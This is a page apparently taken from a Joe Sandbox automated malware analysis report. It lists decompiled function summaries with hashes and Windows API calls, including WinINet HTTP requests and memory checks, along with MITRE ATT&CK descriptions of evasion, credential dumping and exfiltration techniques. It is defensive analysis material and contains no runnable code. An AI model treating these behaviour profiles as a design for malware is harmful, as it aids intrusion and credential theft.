Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: 10dc55e90e8b36ade3fe2521829d6b5acd15a1c43e4ebebdfe0172049f4aeceb
Instruction ID: 3ed4305fde4fb1f684bb0a1807440dbc16ec13b059b32b96e2788b93f44abb5d
Opcode Fuzzy Hash: 10dc55e90e8b36ade3fe2521829d6b5acd15a1c43e4ebebdfe0172049f4aeceb
Instruction Fuzzy Hash: 73117075300205AF9B18BE2DD840A79B7ABEF95324B24013DF8118B287D771EE52CBA1

Function 00191EA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00191ECE

Strings

image/jpeg, xrefs: 00191EF6

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: beec969ceb915eb0738850563984e7f0f02e6dc3697ce254adff15b7a7df6115
Instruction ID: d6fcef2b0942905c38ddfcf73f2ee279d0e378fbc482be7165ba50ced5977b74
Opcode Fuzzy Hash: beec969ceb915eb0738850563984e7f0f02e6dc3697ce254adff15b7a7df6115
Instruction Fuzzy Hash: A1116572904109FBCF12AFA5DC8489EBF79FE46364B21026AE911A7190D7719E849650

Function 0018F0FD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0018F113

Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECAA
Part of subcall function 001AEC95: __CxxThrowException@8.LIBCMT ref: 001AECBF
Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECD0

Part of subcall function 0018F20D: std::_Xinvalid_argument.LIBCPMT ref: 0018F217

_memmove.LIBCMT ref: 0018F165

Strings

invalid string position, xrefs: 0018F10E

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: 681e28146d4c68ac1800aba1263bb25c90851f0c67b944c22ce3e9adb2d612c2
Instruction ID: f9dcbd964029ec7bbf8a48b7b8c20fdc4c162af82ae9a3bd3b0436e1a9936bb0
Opcode Fuzzy Hash: 681e28146d4c68ac1800aba1263bb25c90851f0c67b944c22ce3e9adb2d612c2
Instruction Fuzzy Hash: 1C11AD35704204DBCB14BE2CDC8856977A6AF29361B54463DF829CB242C770EA82CFE1

Function 0018F322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0018F331

Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECAA
Part of subcall function 001AEC95: __CxxThrowException@8.LIBCMT ref: 001AECBF
Part of subcall function 001AEC95: std::exception::exception.LIBCMT ref: 001AECD0

memmove.MSVCRT(0018EE93,0018EE93,C6C68B00,0018EE93,0018EE93,0018F134,?,?,?,0018F1B4,?,?,?,74DF0440,?,-00000001), ref: 0018F367

Strings

invalid string position, xrefs: 0018F32C

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: dcfa0a2484a1274433f320cd88c1876377e8944e57d4863061a12f3efeba76a4
Instruction ID: d51af1046342416205e9e6b45e79089c7f8f7306fa0bba6c997fc320c0354224
Opcode Fuzzy Hash: dcfa0a2484a1274433f320cd88c1876377e8944e57d4863061a12f3efeba76a4
Instruction Fuzzy Hash: 2D0181713006018BD728AE7898D852EB6E6FBC8711724493CE892C7745DBB4EE4BDB90

Function 00196880 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00186963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 001869C5
Part of subcall function 00186963: StrCmpCA.SHLWAPI(?), ref: 001869DF
Part of subcall function 00186963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00186A0E
Part of subcall function 00186963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00186A4D
Part of subcall function 00186963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00186A7D
Part of subcall function 00186963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00186A88
Part of subcall function 00186963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00186AAC

StrCmpCA.SHLWAPI(?,ERROR), ref: 001968B5

Strings

ERROR, xrefs: 001968D8
ERROR, xrefs: 001968AD

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: a301efd1c3e4050218f6965065d531a4d4f484e10c8455dd7512e7ed5199b558
Instruction ID: 3dcb6e384155dc8c11630cc306b1390b0353a20102524cfaed647baef55fbbf4
Opcode Fuzzy Hash: a301efd1c3e4050218f6965065d531a4d4f484e10c8455dd7512e7ed5199b558
Instruction Fuzzy Hash: 7D01FB35E002189BCB22BB75EC4699D77A8AF34304B5441A1FD24E3253DB34EE058BE1

Function 0019F409 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0019F43E
DName::DName.LIBCMT ref: 0019F44A

Strings

{flat}, xrefs: 0019F439

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: 8d82a1d2f0a4b58729c0bba60cfe1d744be8fb30f942274fee52286b1d898ea6
Instruction ID: b7b4bf86060d7c4a2242cdc4e34d691f2e0f99a88a81ca1372e367c857aea795
Opcode Fuzzy Hash: 8d82a1d2f0a4b58729c0bba60cfe1d744be8fb30f942274fee52286b1d898ea6
Instruction Fuzzy Hash: 75F06D71281248AFCF11EF58E855BA63BA5EF45B55F48C089F94C8F296C770D883CB92

Function 0018141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00181436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00181449

Strings

@, xrefs: 00181442

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: 7cf19ffa1e4966a44813d3c9923df2f07f1a3e1a240e07bcd2579474d1c639d4
Instruction ID: 402a55b8f960442dedb21833cc2e2b49840b0f8585ec4b5fb48c9d258b9f0af7
Opcode Fuzzy Hash: 7cf19ffa1e4966a44813d3c9923df2f07f1a3e1a240e07bcd2579474d1c639d4
Instruction Fuzzy Hash: 3BE0BFF590020CABDB04EFA4E946B5DB7B8AB18744F500025BA06F7281E774BB098655

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

